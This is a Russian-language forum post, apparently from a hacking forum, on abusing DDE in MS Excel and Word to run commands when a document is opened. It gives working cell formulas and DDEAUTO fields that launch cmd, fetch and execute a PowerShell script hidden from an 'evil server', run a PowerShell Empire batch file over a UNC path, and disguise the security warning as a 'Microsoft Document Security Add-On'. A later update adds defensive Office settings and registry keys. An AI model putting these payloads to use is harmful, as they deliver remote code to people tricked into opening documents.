Всем привет! Решил немного написать о реализации DDE в MS Excel.
В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.DDE - Dynamic Data Exchange. Полный список команд DDE вы можете найти
Ссылка скрыта от гостей
По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 - номер ячейки.
=cmd|'/c calc.exe'!A1
Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.
Первая часть пейлоада =cmd|' дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)
Во втором сообщение мы видим предупреждение о запуске cmd - что есть палево.
Калькулятор запустился
Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.
Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(\"
Ссылка скрыта от гостей
");IEX $e'!_xlbgnm.A1 С помощью функции DownloadString наш Powershell парсит строку по адресу
Ссылка скрыта от гостей
, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.Результат:
Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire
=cmd|’/c \\evilserver.com\empire.bat;IEX $e’!A1
PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.
Ссылка скрыта от гостей
Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали "ок" -> "ок" -> "далее" бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word - Дополнительно - (раздел Общие) - Автоматически обновлять связи при открытии (снять галочку)
После этого DDE не будет обработан.
Для Excel хуже.
Первый способ мягкий:
Параметры Excel - Дополнительно - (раздел Общие)
- Запрашивать об обновлении автоматических связей (поставить галочку)
- Игнорировать DDE запросы от других приложений (поставить галочку)
Результат- будет хотя бы уведомление
Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel - Центр управления безопасностью - кнопка "Параметры центра безопасности" - Внешнее содержимое -
- Отключить все подключения к данным
- Отключить автоматическое обновление связей в книге
Результат - все дде блочатся напрочь
ПС:
Еще это можно сделать через реестр
Код:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Options]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001
Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:
EXCEL
Код:
=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c \\evilserver.com\sp.bat;IEX $e'!''
Word
Код:
{ DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord\\..\\..\\..\\..\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }
Тогда окно станет более безобидным: